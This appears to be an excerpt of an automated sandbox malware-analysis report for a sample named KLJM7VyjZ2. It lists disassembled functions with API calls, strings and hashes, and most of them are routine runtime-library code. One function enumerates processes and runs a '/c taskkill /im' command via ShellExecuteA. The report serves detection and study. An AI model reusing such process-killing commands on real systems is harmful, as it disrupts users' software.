_free.LIBCMT ref: 01CC7653

Part of subcall function 01CC14C2: HeapFree.KERNEL32(00000000,00000000,?,01CC78DC,?,00000000,?,?,?,01CC7B7F,?,00000007,?,?,01CC8072,?), ref: 01CC14D8
Part of subcall function 01CC14C2: GetLastError.KERNEL32(?,?,01CC78DC,?,00000000,?,?,?,01CC7B7F,?,00000007,?,?,01CC8072,?,?), ref: 01CC14EA

_free.LIBCMT ref: 01CC7665
_free.LIBCMT ref: 01CC7677
_free.LIBCMT ref: 01CC7689
_free.LIBCMT ref: 01CC769B

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 55fdad49d3e940d6adefd3a91a74bc3a70a54511d14fa9b810ed781da0bb3105
Instruction ID: 10be9a56a966accc17ba73559834b7222b2fb571eada9fbeecd49752a8987242
Opcode Fuzzy Hash: 55fdad49d3e940d6adefd3a91a74bc3a70a54511d14fa9b810ed781da0bb3105
Instruction Fuzzy Hash: F6F01233B04311EB9624DB6DE585C2ABBE9EB04B60BA8881DF54CD7501CB74FDA09A58

Uniqueness

Uniqueness Score: -1.00%

Function 004173D4 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 004173EC

Part of subcall function 0041125B: HeapFree.KERNEL32(00000000,00000000,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?), ref: 00411271
Part of subcall function 0041125B: GetLastError.KERNEL32(?,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?,?), ref: 00411283

_free.LIBCMT ref: 004173FE
_free.LIBCMT ref: 00417410
_free.LIBCMT ref: 00417422
_free.LIBCMT ref: 00417434

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 55fdad49d3e940d6adefd3a91a74bc3a70a54511d14fa9b810ed781da0bb3105
Instruction ID: 12d67177f25bb58156aeb40ac9cd7a805bdb10bb8b17bb555de7aa4c1e59f88a
Opcode Fuzzy Hash: 55fdad49d3e940d6adefd3a91a74bc3a70a54511d14fa9b810ed781da0bb3105
Instruction Fuzzy Hash: E1F0AF32608210AB8260EB59E4C6CDA77FABF44764794480AF44DE3211CB38FCD28A6C

Uniqueness

Uniqueness Score: -1.00%

Function 01CB3587 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(0042A018), ref: 01CB35B3

Part of subcall function 01CB34E7: OpenProcess.KERNEL32(00000410,00000000), ref: 01CB3512
Part of subcall function 01CB34E7: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 01CB352D
Part of subcall function 01CB34E7: CloseHandle.KERNEL32(00000000), ref: 01CB3534

GetCurrentProcessId.KERNEL32 ref: 01CB35CF

Part of subcall function 01CB33E7: OpenProcess.KERNEL32(00000410,00000000), ref: 01CB3447
Part of subcall function 01CB33E7: K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 01CB3464
Part of subcall function 01CB33E7: K32GetModuleBaseNameA.KERNEL32(00000000,?,?,00000104), ref: 01CB3481
Part of subcall function 01CB33E7: CloseHandle.KERNEL32(00000000), ref: 01CB3488

ShellExecuteA.SHELL32(00000000,00000000,004278B0,00000000,00000000,00000000), ref: 01CB3670

Strings

/c taskkill /im ", xrefs: 01CB35E3

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: Process$CloseCurrentHandleModuleNameOpen$BaseEnumExecuteFileModulesShell
String ID: /c taskkill /im "
API String ID: 3296006795-2842225094
Opcode ID: c4293824eb503ea045ee25c63081e2037e0816156992943217f6b04f155bb6b3
Instruction ID: 36ce766776e658a8ebc38db8d52e779ee028c2622c52b49d642ec9663ef6f317
Opcode Fuzzy Hash: c4293824eb503ea045ee25c63081e2037e0816156992943217f6b04f155bb6b3
Instruction Fuzzy Hash: CC214F70E05259DBD714FBA4CC84BEEBBB8BB24B00F904069D105E72D0EF78AA09DB55

Uniqueness

Uniqueness Score: -1.00%

Function 01CB32B7 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 01CB3346

Part of subcall function 01CB94C7: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,01CB1354,?,01CB742C,?,00428EE0,?,?,?,?,01CB1354,0042BBA0,0042BBA1), ref: 01CB9527

Strings

ios_base::badbit set, xrefs: 01CB32EC
ios_base::failbit set, xrefs: 01CB32F6
ios_base::eofbit set, xrefs: 01CB32FB

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-1866435925
Opcode ID: e8a88ef2878b705e0158c1a163ec366af113c2e46ac4ce2ea3fc515c0333c9e7
Instruction ID: e72a831e65bf6707c4b8876da38e48d3b6d65d4d1e2516602ecc27ea28189ec5
Opcode Fuzzy Hash: e8a88ef2878b705e0158c1a163ec366af113c2e46ac4ce2ea3fc515c0333c9e7
Instruction Fuzzy Hash: F71129B1A04345ABC700DF58DC41BD6B7E8BF51310F44C51BEA58C7640EB74E944CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00403050 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 004030DF

Part of subcall function 00409260: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,004010ED,?,004071C5,?,00428EE0,?,?,?,?,004010ED,0042BBA0,0042BBA1), ref: 004092C0

Strings

ios_base::failbit set, xrefs: 0040308F
ios_base::badbit set, xrefs: 00403085
ios_base::eofbit set, xrefs: 00403094

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-1866435925
Opcode ID: 944e97d570911950379fc5b453cd7d2c0c883462ef576b1aa3938253e619e357
Instruction ID: 6b2dcf83fd56f893463438c7860671d35dda5de460178581763f3720d09a2793
Opcode Fuzzy Hash: 944e97d570911950379fc5b453cd7d2c0c883462ef576b1aa3938253e619e357
Instruction Fuzzy Hash: 6811E1B1A04305ABC700DF69D806B96B7E8AF40311F10C52FF954AB6C1EB78E944CB99

Uniqueness

Uniqueness Score: -1.00%

Function 01CBAF32 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 01CBAFF9
___AdjustPointer.LIBCMT ref: 01CBB01C
___AdjustPointer.LIBCMT ref: 01CBB0B8

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 183a52a73b831fe0ada19249167a9424e62eb0891da22aa605e99f03fdfc4831
Instruction ID: 45c39a30fa1edfa828a88969cea8861945ff467b3ee7d233029c1a600cdea896
Opcode Fuzzy Hash: 183a52a73b831fe0ada19249167a9424e62eb0891da22aa605e99f03fdfc4831
Instruction Fuzzy Hash: CB51B1F1601606EFEB299F19E8C0BFA77A4EF14310F144529EA56C72A0D735EE41DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACCB Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0040AD92
___AdjustPointer.LIBCMT ref: 0040ADB5
___AdjustPointer.LIBCMT ref: 0040AE51

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 183a52a73b831fe0ada19249167a9424e62eb0891da22aa605e99f03fdfc4831
Instruction ID: 90dfe2ec435d461ad3aee01eaa0a4d287f80f964ed01bea415ed85caf52aea2f
Opcode Fuzzy Hash: 183a52a73b831fe0ada19249167a9424e62eb0891da22aa605e99f03fdfc4831
Instruction Fuzzy Hash: BC51E372601306AFDB298F11D441BAA73A6EF00315F14453FE8066BAD1D739ECA1D7DA

Uniqueness

Uniqueness Score: -1.00%

Function 01CC57E8 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 01CBDBBF: _free.LIBCMT ref: 01CBDBCD

Part of subcall function 01CC5528: WideCharToMultiByte.KERNEL32(00427803,00000000,01CBD145,00000000,00000000,00000000,00000000,0000FDE9,00427803,00000000,01CBD145,?,01CC2E5F,?,00000000,00000000), ref: 01CC55D4

GetLastError.KERNEL32 ref: 01CC5850
__dosmaperr.LIBCMT ref: 01CC5857
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 01CC5896
__dosmaperr.LIBCMT ref: 01CC589D

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 88d6111f051a06fdd9aa7796033ffeb93d916343d6300842a6459e322090b897
Instruction ID: a632b425e7bb09f83d41f660f0e2f31c8d81da972d8017ba4bd36363a11c12ea
Opcode Fuzzy Hash: 88d6111f051a06fdd9aa7796033ffeb93d916343d6300842a6459e322090b897
Instruction Fuzzy Hash: 47217471B40216EFDB219FAA8C80DAB77ADEF14A64710852CE925D7150DB30FD41DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00415581 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 0040D958: _free.LIBCMT ref: 0040D966

Part of subcall function 004152C1: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,00412368,?,00000000,00000000), ref: 0041536D

GetLastError.KERNEL32 ref: 004155E9
__dosmaperr.LIBCMT ref: 004155F0
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041562F
__dosmaperr.LIBCMT ref: 00415636

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: e2c9c4d2872a52d685cdf4e0a8c34d200d4c1da6343d4d81b36e7d253fa6cf7b
Instruction ID: 209a5ce292c56fd8d4f7a0cc65bb0464bde150732a7df2657e7870bdc0ebe7a0
Opcode Fuzzy Hash: e2c9c4d2872a52d685cdf4e0a8c34d200d4c1da6343d4d81b36e7d253fa6cf7b
Instruction Fuzzy Hash: D221DB71504A05FFDB206F62CC818EBB7ADEF84368750852AF92997251D738ED818798

Uniqueness

Uniqueness Score: -1.00%

Function 01CC16D2 Relevance: 6.1, APIs: 4, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 129cbb2c69f00aee2ade31a09bffe59ed12de1c91300b81d07dce6b1e3195e12
Instruction ID: 44c25ed9717c6e51dad49df38c65b79bd0c6e9891c00f025a9040874374d3f49
Opcode Fuzzy Hash: 129cbb2c69f00aee2ade31a09bffe59ed12de1c91300b81d07dce6b1e3195e12
Instruction Fuzzy Hash: F321D575A01225FBD7229A6B9C40B5A3B589F05FA0F190129ED06AB293D730DE0087E4

Uniqueness

Uniqueness Score: -1.00%

Function 01CC0FA7 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(01CB214C,?,01CB2150,01CBC6D8,?,01CB214C,?,?,01CC1257,00000000,?,00000000,00000000,01CB214C), ref: 01CC0FAC
_free.LIBCMT ref: 01CC1009
_free.LIBCMT ref: 01CC103F
SetLastError.KERNEL32(00000000,0042A190,000000FF,?,01CC1257,00000000,?,00000000,00000000,01CB214C), ref: 01CC104A

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 7711921faead9846348d7d43881275752e518af8df4d01021872436eff613b10
Instruction ID: fea679d1a35ae26297ca4b0f43d627e43e2531e354aef1f472f099e3ee4b8acd
Opcode Fuzzy Hash: 7711921faead9846348d7d43881275752e518af8df4d01021872436eff613b10
Instruction Fuzzy Hash: 23118032304643EBD6226BBB9CC0D7A254D9BC0D75F2C013CF618921D2DE21CC21A118

Uniqueness

Uniqueness Score: -1.00%

Function 00410D40 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
_free.LIBCMT ref: 00410DA2
_free.LIBCMT ref: 00410DD8
SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 7711921faead9846348d7d43881275752e518af8df4d01021872436eff613b10
Instruction ID: a525547fe00f06879ca38520d2c3098073192493dee9b8ee0a149694f969bfa0
Opcode Fuzzy Hash: 7711921faead9846348d7d43881275752e518af8df4d01021872436eff613b10
Instruction Fuzzy Hash: A3110A327401016BC62127FAAC82DFB115AEBC0379B24023BF729922E1DEAC9CD2C11D

Uniqueness

Uniqueness Score: -1.00%

Function 01CB33E7 Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000), ref: 01CB3447
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 01CB3464
K32GetModuleBaseNameA.KERNEL32(00000000,?,?,00000104), ref: 01CB3481
CloseHandle.KERNEL32(00000000), ref: 01CB3488

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: Process$BaseCloseEnumHandleModuleModulesNameOpen
String ID:
API String ID: 4241681289-0
Opcode ID: 3151b708891b5542dafb4a7394044939b245e49f02ee1a5a64dc9390ca27af65
Instruction ID: 7b6de679dbff9797ca1e49e665e00e3dcfc408900de3e19a58504a7df1d68b8c
Opcode Fuzzy Hash: 3151b708891b5542dafb4a7394044939b245e49f02ee1a5a64dc9390ca27af65
Instruction Fuzzy Hash: FA21C175A00219EBD722DF54CC44BE9BBB8AF09300F0042A9EA48D7250DBB49BC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 01CC10FE Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,01CBC66D,01CC2699,?,?,01CB9282,?,?,?,01CB1354,?,01CB28EE,?,?), ref: 01CC1103
_free.LIBCMT ref: 01CC1160
_free.LIBCMT ref: 01CC1196
SetLastError.KERNEL32(00000000,0042A190,000000FF,?,01CB9282,?,?,?,01CB1354,?,01CB28EE,?,?,?), ref: 01CC11A1

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 5d85b3db14f18b1b980a709a44521e403c35b10a36c4c9dadebe9684ae6dc349
Instruction ID: 71bdad1f6189751a56928e5682e20402342caae8abba5a93afdd4e3b5ee4084b
Opcode Fuzzy Hash: 5d85b3db14f18b1b980a709a44521e403c35b10a36c4c9dadebe9684ae6dc349
Instruction Fuzzy Hash: FB11E972700602EBD61266FB9C84D7A2599DBD5D75B2C023CF618821D6DE29CD219125

Uniqueness

Uniqueness Score: -1.00%

Function 00410E97 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0040C406,00412432,?,?,0040901B,?,?,?,004010ED,?,00402687,?,?), ref: 00410E9C
_free.LIBCMT ref: 00410EF9
_free.LIBCMT ref: 00410F2F
SetLastError.KERNEL32(00000000,00000008,000000FF,?,0040901B,?,?,?,004010ED,?,00402687,?,?,?), ref: 00410F3A

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 5d85b3db14f18b1b980a709a44521e403c35b10a36c4c9dadebe9684ae6dc349
Instruction ID: 66eec3f19665db08b0d4d942c9a192467b4f7dfbcf6f310632f7d59ba6ea33d6
Opcode Fuzzy Hash: 5d85b3db14f18b1b980a709a44521e403c35b10a36c4c9dadebe9684ae6dc349
Instruction Fuzzy Hash: 5611E9327042016BC621677B5CC2DFB215AABC477AB65023BF729922E1DEE98CD2D11D

Uniqueness

Uniqueness Score: -1.00%

Function 01CBBFEE Relevance: 6.1, APIs: 4, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,01CBC0AF,?,?,0042B440,00000000,?,01CBC1DA,00000004,0041EB28,0041EB20,0041EB28,00000000), ref: 01CBC07E

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: da84090441890d50f9cbdf5a97449929467e511c8f269dd5155a12c56a084703
Instruction ID: 6547bf96ded87dec263b644da945aa96f6a57bffaa7e00f9e4cdc2a3c1e83642
Opcode Fuzzy Hash: da84090441890d50f9cbdf5a97449929467e511c8f269dd5155a12c56a084703
Instruction Fuzzy Hash: 7811A375A41221FBDB228B6DAC817D93B94AF06B60F144131E911E7281D760EA0086ED

Uniqueness

Uniqueness Score: -1.00%

Function 01CCBFA1 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,01CCBA7D,?,00000001,?,00000001,?,01CCA20E,?,?,00000001), ref: 01CCBFB8
GetLastError.KERNEL32(?,01CCBA7D,?,00000001,?,00000001,?,01CCA20E,?,?,00000001,?,00000001,?,01CCA75A,01CC1E4A), ref: 01CCBFC4

Part of subcall function 01CCBF8A: CloseHandle.KERNEL32(0042AA20,01CCBFD4,?,01CCBA7D,?,00000001,?,00000001,?,01CCA20E,?,?,00000001,?,00000001), ref: 01CCBF9A

___initconout.LIBCMT ref: 01CCBFD4

Part of subcall function 01CCBF4C: CreateFileW.KERNEL32(00426D28,40000000,00000003,00000000,00000003,00000000,00000000,01CCBF7B,01CCBA6A,00000001,?,01CCA20E,?,?,00000001,?), ref: 01CCBF5F

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,01CCBA7D,?,00000001,?,00000001,?,01CCA20E,?,?,00000001,?), ref: 01CCBFE9

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: f56514edf5f76c8fdf64f8b6d8be20b0c9230bcc1c5e1c46e8687e818287cf65
Instruction ID: 00fae6b885ea2684525df14f0d1b432b735041f2d9a13eca961a94c33672b57e
Opcode Fuzzy Hash: f56514edf5f76c8fdf64f8b6d8be20b0c9230bcc1c5e1c46e8687e818287cf65
Instruction Fuzzy Hash: F9F0AC3B540126BBCF222FD5DC09A9E3F66FF096A1F044424FA1995631CA32CE60EF95

Uniqueness

Uniqueness Score: -1.00%

Function 0041BD3A Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,0041B816,?,00000001,?,00000001,?,00419FA7,?,?,00000001), ref: 0041BD51
GetLastError.KERNEL32(?,0041B816,?,00000001,?,00000001,?,00419FA7,?,?,00000001,?,00000001,?,0041A4F3,00411BE3), ref: 0041BD5D

Part of subcall function 0041BD23: CloseHandle.KERNEL32(FFFFFFFE,0041BD6D,?,0041B816,?,00000001,?,00000001,?,00419FA7,?,?,00000001,?,00000001), ref: 0041BD33

___initconout.LIBCMT ref: 0041BD6D

Part of subcall function 0041BCE5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0041BD14,0041B803,00000001,?,00419FA7,?,?,00000001,?), ref: 0041BCF8

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,0041B816,?,00000001,?,00000001,?,00419FA7,?,?,00000001,?), ref: 0041BD82

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: f56514edf5f76c8fdf64f8b6d8be20b0c9230bcc1c5e1c46e8687e818287cf65
Instruction ID: 51194226b4806499ed244387ef646c23990b2b684a19fef19e4e32860e8e34ef
Opcode Fuzzy Hash: f56514edf5f76c8fdf64f8b6d8be20b0c9230bcc1c5e1c46e8687e818287cf65
Instruction Fuzzy Hash: 88F0AC36640129BBCF221FD5EC09ADA3F26FF093A5F044425FA1995230DB368961DBD9

Uniqueness

Uniqueness Score: -1.00%

Function 00408094 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00408031,00000064), ref: 004080B7
LeaveCriticalSection.KERNEL32(0042B3A4,0042BBB8,?,00408031,00000064,?,?,?,0040104D,0042BBB8), ref: 004080C1
WaitForSingleObjectEx.KERNEL32(0042BBB8,00000000,?,00408031,00000064,?,?,?,0040104D,0042BBB8), ref: 004080D2
EnterCriticalSection.KERNEL32(0042B3A4,?,00408031,00000064,?,?,?,0040104D,0042BBB8), ref: 004080D9

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 9f2013559988f7c6e19921341529abce574c139b58d20d3fca146c150821c153
Instruction ID: 72c1ef58ed17f52cee44f8e17e220145c7e7ffa3914e7ca9d2a838ab954b4b1b
Opcode Fuzzy Hash: 9f2013559988f7c6e19921341529abce574c139b58d20d3fca146c150821c153
Instruction Fuzzy Hash: DFE01231A41134FBCB216B50FC08BDE7F25EF09765B958036FD0966164CB7518129BDD

Uniqueness

Uniqueness Score: -1.00%

Function 01CBEAAE Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 01CBEAB7

Part of subcall function 01CC14C2: HeapFree.KERNEL32(00000000,00000000,?,01CC78DC,?,00000000,?,?,?,01CC7B7F,?,00000007,?,?,01CC8072,?), ref: 01CC14D8
Part of subcall function 01CC14C2: GetLastError.KERNEL32(?,?,01CC78DC,?,00000000,?,?,?,01CC7B7F,?,00000007,?,?,01CC8072,?,?), ref: 01CC14EA

_free.LIBCMT ref: 01CBEACA
_free.LIBCMT ref: 01CBEADB
_free.LIBCMT ref: 01CBEAEC

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e71323f44a99b6628aa061ced914fc79557b72482b635806e2e22bd10e67003e
Instruction ID: 6e19627948e797f698484305e1204dc184368fd26c3ce4c0b57a34940d36f440
Opcode Fuzzy Hash: e71323f44a99b6628aa061ced914fc79557b72482b635806e2e22bd10e67003e
Instruction Fuzzy Hash: 72E0BF77F10125DA8631AF25BC108497FA1F754B003C981AAE80412A35D7755913BBC9

Uniqueness

Uniqueness Score: -1.00%

Function 0040E847 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0040E850

Part of subcall function 0041125B: HeapFree.KERNEL32(00000000,00000000,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?), ref: 00411271
Part of subcall function 0041125B: GetLastError.KERNEL32(?,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?,?), ref: 00411283

_free.LIBCMT ref: 0040E863
_free.LIBCMT ref: 0040E874
_free.LIBCMT ref: 0040E885

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e71323f44a99b6628aa061ced914fc79557b72482b635806e2e22bd10e67003e
Instruction ID: 376e848b26ab1768b0a59f9d16cf8ebc4b09c0a8db51cbf4607cd3773e6ddd07
Opcode Fuzzy Hash: e71323f44a99b6628aa061ced914fc79557b72482b635806e2e22bd10e67003e
Instruction Fuzzy Hash: 88E0BF76A10124DA87716F25BC514C93F72FB847043C505EBF90162A35D7351653AFCD

Uniqueness

Uniqueness Score: -1.00%

Function 01CBD8A4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 01CBD934

Strings

pow, xrefs: 01CBD90C, 01CBD929

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: da6b2b219796ba4924b65b033144070afe40f9c401ad1dbe4a129ada25b9cd2b
